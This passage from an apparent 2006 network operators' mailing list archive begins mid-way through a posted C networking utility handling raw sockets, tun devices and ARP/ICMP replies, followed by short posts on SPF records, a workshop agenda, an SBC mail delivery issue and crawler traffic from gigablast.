0) ? _hints->ip_hl : sizeof(struct ip) >> 2; ip->ip_tos = (_hints->ip_tos != 0) ? _hints->ip_tos : IPTOS_LOWDELAY; ip->ip_len = (_hints->ip_len != 0) ? _hints->ip_len : sizeof(struct ip); ip->ip_id = (_hints->ip_id != 0) ? _hints->ip_id : (u_int16_t)arc4random(); ip->ip_off = (_hints->ip_off != 0) ? _hints->ip_off : 0; ip->ip_ttl = (_hints->ip_ttl != 0) ? _hints->ip_ttl : ((_hints->ip_p == IPPROTO_ICMP) ? MAXTTL : IPDEFTTL); ip->ip_p = (_hints->ip_p != 0) ? _hints->ip_p : IPPROTO_IP; ip->ip_sum = (_hints->ip_sum != 0) ? _hints->ip_sum : 0; ip->ip_src.s_addr = (_hints->ip_src.s_addr != 0) ? _hints->ip_src.s_addr : INADDR_ANY; ip->ip_dst.s_addr = (_hints->ip_dst.s_addr != 0) ? _hints->ip_dst.s_addr : INADDR_LOOPBACK; if (fh) free(_hints); return 0; } /* END set_ip4header */ void get_data(struct sess *s, u_char *data, int len) { s->data = calloc(1, len); if (s->data == NULL) return; s->len = len; memcpy(s->data, data, s->len); } /* BEGIN open_raw */ /* * OPEN_RAW - open a raw socket, with following protocol, return -1 * on error. */ int open_raw(int proto) { int so; int on = 1; if ((so = socket(AF_INET, SOCK_RAW, proto)) < 0) return -1; if (setsockopt(so,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)) < 0) { close(so); return -1; } return so; } /* END open_raw */ int open_tunnel(void) { int fd; int mtu = 1500; char tunif[IFNAMSIZ]; if ((fd = open_tun((char *)&tunif, sizeof(tunif))) < 0) { perror("open_tun"); exit(1); } #if 0 if (set_tunmode(fd, IFF_POINTOPOINT) < 0) { perror("set_tunmode"); exit(1); } if (set_ifpop(tunif, pointa, pointb, netmask) < 0) { perror("set_ifpop"); exit(1); } if (set_ifup(tunif) < 0) { fprintf(stderr, "can't set interface up\n"); exit(1); } #else if (set_tunmode(fd, IFF_BROADCAST | IFF_LINK0) < 0) { perror("set_tunmode"); exit(1); } if (set_ifup(tunif) < 0) { fprintf(stderr, "can't set interface up\n"); exit(1); } if (set_ifip(tunif, pointb, netmask, AF_INET) < 0) { perror("set_ifip"); exit(1); } #endif if ((mtu = get_ifmtu(tunif)) < 0) { perror("get_ifmtu"); exit(1); } if (mtu > 1500) { mtu = 1500; if (set_ifmtu(tunif, mtu) < 0) { perror("set_ifmtu"); exit(1); } } return fd; } /* BEGIN open_tun */ /* * open_tun - search existing tun(4) device and find one that is open return * file descriptor or -1 on error. If an argument is given * try to open that device explicitly otherwise the selected * device is written to that pointer, for max len bytes */ int open_tun(char *name, int len) { #define MAX_TUN_DEVICES 16 char tmp[MAXPATHLEN]; int dn; /* device number */ int fd; /* file descriptor to be returned */ if (len > IFNAMSIZ) { errno = ENAMETOOLONG; return -1; } /* * XXX look carefully, this is a little tricky cruft */ snprintf(tmp, sizeof(tmp), "/dev/%s", name); if ((fd = open(tmp, O_RDWR, 0600)) != -1) return fd; for (dn = 0; dn < MAX_TUN_DEVICES; dn++) { errno = 0; snprintf(name, len, "tun%d", dn); snprintf(tmp, sizeof(tmp), "/dev/%s", name); fd = open(tmp, O_RDWR, 0600); if (fd < 0) { if (errno == EBUSY) continue; break; } else return fd; } return -1; } /* END open_tun */ /* BEGIN set_tunmode */ /* * SET_TUNMODE - set the mode of the specified tunnel device * IFF_POINTOPOINT or IFF_BROADCAST, return -1 on err */ int set_tunmode(int fd, int mode) { if (mode != IFF_POINTOPOINT && (mode & ( IFF_BROADCAST | IFF_LINK0 )) != (IFF_BROADCAST | IFF_LINK0)) return -1; if (check_tundev(fd) < 0) return -1; if (ioctl(fd, TUNSIFMODE, &mode, sizeof(mode)) < 0) return -1; return mode; } /* END set_tunmode */ /* BEGIN check_tundev */ /* * CHECK_TUNDEV - check the type of device, return 1 if device -1 else */ int check_tundev(int fd) { #define TUN_DEV "/dev/tun" struct stat sb; if (fstat(fd, &sb) < 0) return -1; if (S_ISCHR(sb.st_mode)) return 0; return -1; } /* END check_tundev */ /* BEGIN del_ifip */ /* * DEL_IFIP - delete an IP alias from a certain interface, takes IP as second * argument, returns 0 on success, -1 on error */ int del_ifip(char *name, char *ip) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; sin.sin_addr.s_addr = inet_addr(ip); memset(&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memcpy(&ifra.ifra_addr, &sin.sin_addr.s_addr, sizeof(struct sockaddr)); if (ioctl(so, SIOCDIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END del_ifip */ /* BEGIN set_ifip */ /* * SET_IFIP - sets an IP address on the specified interface, returns 0 on * success, -1 on error */ int set_ifip(char *name, char *address, char *netmask, int af) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if (af == AF_INET6) return -1; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(address); sin.sin_len = sizeof(sin); memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); sin.sin_addr.s_addr = inet_addr(netmask); memcpy(&ifra.ifra_mask, (struct sockaddr *)&sin, sizeof(struct sockaddr)); if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifip */ /* BEGIN set_ifpop */ /* * SET_IFPOP - set 2 points on a point to point interface, returns 0 on * smooth sails, and -1 on error */ int set_ifpop(char *name, char *point1, char *point2, char *netmask) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(point1); sin.sin_len = sizeof(sin); memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); sin.sin_addr.s_addr = inet_addr(point2); #ifdef __OpenBSD__ memcpy(&ifra.ifra_dstaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); #else memcpy(&ifra.ifra_broadaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); #endif if (netmask) { sin.sin_addr.s_addr = inet_addr(netmask); memcpy(&ifra.ifra_mask,(struct sockaddr*)&sin,sizeof(struct sockaddr)); } if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifpop */ /* BEGIN get_ifflags */ /* * GET_IFFLAGS - get flags of specified interface, return -1 on error */ short get_ifflags(char *name) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFFLAGS, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return(ifr.ifr_flags); } /* END get_ifflags */ /* BEGIN set_ifflags */ /* * SET_IFFLAGS - set flags of specified interface, return -1 on error */ int set_ifflags(char *name, short flags) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); ifr.ifr_flags = flags; if (ioctl(so, SIOCSIFFLAGS, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return(0); } /* END set_ifflags */ /* BEGIN set_ifup */ /* * SET_IFUP - turn an interface into the IFF_UP state */ int set_ifup(char *name) { short flags; flags = get_ifflags(name); flags |= IFF_UP; return (set_ifflags(name, flags)); } /* END set_ifup */ /* BEGIN set_ifdown */ /* * SET_IFDOWN - turn an interface off */ int set_ifdown(char *name) { short flags; flags = get_ifflags(name); flags &= ~IFF_UP; return (set_ifflags(name, flags)); } /* END set_ifdown */ /* BEGIN set_ifmtu */ /* * SET_IFMTU - set the specified interface MTU and return 0 on success, -1 * on error. */ int set_ifmtu(char *name, int mtu) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); ifr.ifr_mtu = mtu; if (ioctl(so, SIOCSIFMTU, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifmtu */ /* BEGIN get_ifaddr */ /* * GET_IFADDR - gets the interface address which is returned in an * in_addr_t */ in_addr_t get_ifaddr(char *name) { int so; struct ifreq ifr; struct sockaddr_in *sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFADDR, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); sin = (struct sockaddr_in *)&ifr.ifr_addr; return (sin->sin_addr.s_addr); } /* END get_ifaddr */ void reply_icmp(int fd, char *data, int len) { struct ip *ip; struct icmp *icmp; int newlen = len; char *newdata = data; u_int32_t iptmp; u_int32_t *af; ip = (struct ip *)newdata; newdata += sizeof(struct ip); newlen -= sizeof(struct ip); if (newlen < ICMP_MINLEN) return; icmp = (struct icmp *)newdata; if (icmp->icmp_type == 8) { icmp->icmp_type = 0; icmp->icmp_cksum = 0; iptmp = ip->ip_dst.s_addr; ip->ip_dst.s_addr = ip->ip_src.s_addr; ip->ip_src.s_addr = iptmp; ip->ip_sum = 0; icmp->icmp_cksum = 0; ip->ip_sum = ip_cksum((u_short *)data, sizeof(struct ip)); icmp->icmp_cksum = ip_cksum((u_short *)newdata, newlen); newdata = malloc(len); if (newdata == NULL) return; memcpy((char *)newdata, data, len); #if 0 af = (u_int32_t *)newdata; *af = htonl(AF_INET); #endif write_frame(fd, newdata, len + sizeof(u_int32_t)); free(newdata); } return; } void arplookup(int fd) { u_char buf[2500]; int len; int i; struct ether_header *eh; struct ether_arp *ah; time_t now, before; for (i = 0; i < 5; i++) { memset(&buf, 0, sizeof(buf)); eh = (struct ether_header *)&buf[0]; ah = (struct ether_arp *)&buf[sizeof(struct ether_header)]; len = sizeof(struct ether_header) + sizeof(struct ether_arp); eh->ether_type = htons(ETHERTYPE_ARP); memset(eh->ether_dhost, 0xff, sizeof(eh->ether_dhost)); memcpy(eh->ether_shost, &mymac, sizeof(mymac)); ah->arp_hrd = htons(ARPHRD_ETHER); ah->arp_pro = htons(ETHERTYPE_IP); ah->arp_hln = sizeof(ah->arp_sha); ah->arp_pln = sizeof(ah->arp_spa); ah->arp_op = htons(ARPOP_REQUEST); memcpy(ah->arp_sha, &mymac, sizeof(mymac)); memcpy(ah->arp_spa, &myip, sizeof(myip)); memcpy(ah->arp_tpa, &routerip, sizeof(routerip)); if (write(fd, buf, len) < 0) { perror("write"); } before = time(NULL); for (;difftime(now, before) < 10;now = time(NULL)) { if ((len = read(fd, buf, sizeof(buf))) < 0) { perror("read"); } if (len < (sizeof(struct ether_header) + sizeof(struct ether_arp))) { continue; } if (memcmp(&eh->ether_dhost, &mymac, sizeof(mymac)) == 0 && ntohs(eh->ether_type) == ETHERTYPE_ARP && ntohs(ah->arp_op) == ARPOP_REPLY) { memcpy(&routermac, ah->arp_sha, sizeof(routermac)); goto out; } } /* for difftime */ continue; /* back to writing a new ARP request */ } #if 0 for (i = 0; i < sizeof(routermac); i++) { printf("%02x:", routermac[i]); } printf("\n"); #endif out: return; } void reply_arp(int fd, u_char *data, int len) { u_char buf[2500]; int newlen; int i; struct ether_header *eh, *eh2; struct ether_arp *ah, *ah2; eh = (struct ether_header *)data; ah = (struct ether_arp *)(data + sizeof(struct ether_header)); if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 && ntohs(ah->arp_hrd) == ARPHRD_ETHER && ntohs(ah->arp_pro) == ETHERTYPE_IP && ah->arp_hln == sizeof(ah->arp_sha) && ah->arp_pln == sizeof(ah->arp_spa) && ntohs(ah->arp_op) == ARPOP_REQUEST) { if (memcmp(&ah->arp_tpa, &myip, sizeof(myip)) != 0) { return; } memset(&buf, 0, sizeof(buf)); eh2 = (struct ether_header *)&buf[0]; ah2 = (struct ether_arp *)&buf[sizeof(struct ether_header)]; newlen = sizeof(struct ether_header) + sizeof(struct ether_arp); eh2->ether_type = htons(ETHERTYPE_ARP); memcpy(eh2->ether_dhost, eh->ether_shost, sizeof(eh->ether_shost)); memcpy(eh2->ether_shost, &mymac, sizeof(mymac)); ah2->arp_hrd = htons(ARPHRD_ETHER); ah2->arp_pro = htons(ETHERTYPE_IP); ah2->arp_hln = sizeof(ah2->arp_sha); ah2->arp_pln = sizeof(ah2->arp_spa); ah2->arp_op = htons(ARPOP_REPLY); memcpy(ah2->arp_sha, &mymac, sizeof(mymac)); memcpy(ah2->arp_spa, &myip, sizeof(myip)); memcpy(ah2->arp_tpa, ah->arp_spa, sizeof(ah->arp_spa)); memcpy(ah2->arp_tha, ah->arp_sha, sizeof(ah->arp_sha)); if (write(fd, buf, newlen) < 0) { perror("write"); } } return; } int write_frame(int fd, char *data, int len) { char buf[2500]; struct ether_header *eh = (struct ether_header *) &buf[0]; char *concat; int newlen; newlen = len + sizeof(struct ether_header); if (newlen > sizeof(buf)) { errno = ENOBUFS; return -1; } concat = &buf[sizeof(struct ether_header)]; eh->ether_type = htons(ETHERTYPE_IP); memcpy(eh->ether_dhost, &routermac, sizeof(routermac)); memcpy(eh->ether_shost, &mymac, sizeof(mymac)); memcpy(concat, data, len); return (write(fd, buf, newlen)); } -- Here my ticker tape .signature #### My name is Peter Philipp #### lynx -dump "http://en.wikipedia.org/w/index.php?title=Pufferfish&oldid=20768394" | sed -n 131,136p #### So long and thanks for all the fish!!!

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open letter to earthlink & comcast please publish SPF data
by Mark Jeftovic 18 Jul '06

18 Jul '06

earthlink.net addresses are among the forgery addresses of choice for spammers, they are right up there with hotmail.com I think a very high percentage of the pinksheet pump and dump spams and the viagr*, enl*rgment, etc spams have fake earthlink.net addresses in the From headers So how about publishing some SPF data on your earthlink.net domain so those so inclined can use it toward reducing the ungodly amounts of backscatter you guys must get (and which causes you to tarpit other carriers and forwarders) Same goes for comcast. Even a softfail ~all will help out buckets. It's all but eliminated the backscatter we send to hotmail. If they can do it.... -mark -- Mark Jeftovic <markjr(a)easydns.com> Founder & President, easyDNS Technologies Inc. ph. +1-(416)-535-8672 ext 225 fx. +1-(866) 273-2892

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ISOI - DA Workshop agenda and web page
by Gadi Evron 17 Jul '06

17 Jul '06

Hi. You can find the information and latest agenda on the DA workshop on this URL: http://isotf.org/isoi.html It will be updated in the next few days to include a suggested hotel and the rest of the names missing for the listed lectures. Quick reminders: 10th of August, hosted by Cisco in San Jose. Please confirm your arrival. Also, please confirm if you will stay for the dinner hosted by the ISC. Thanks, Gadi.

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sbcglobal.net email
by Andy Brezinsky 17 Jul '06

17 Jul '06

Anyone from sbcglobal.net support around? We're trying to send emails to some of your customers and your mailserver tells us that it's accepted for delivery but it never gets there. This is reproducable for a few addresses. SBC's noc line and tier-1 yahoo dsl support have not been of any help. Jul 17 14:01:03 localhost postfix/smtp[5433]: E89E23D40E5: to=<USER(a)sbcglobal.net>, relay=sbcmx4.prodigy.net[207.115.57.18], delay=2, status=sent (250 2.0.0 k6HIxhY0006651 Message accepted for delivery) Thanks.

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www.gigablast.com
by Jim Popovitch 17 Jul '06

17 Jul '06

Feel free to clue me in on this please... ;-) What is www.gigablast.com? And why is it constantly performing "questionable" queries (mostly http) across every IP that I have access to check. I get a could of thousand hits (mostly questionable non-existing URL requests) from that ip (66.154.103.75). Anyone else seeing/questioning this? Completewhois shows some listings in some RBLs, but not the more popular ones. -Jim P.

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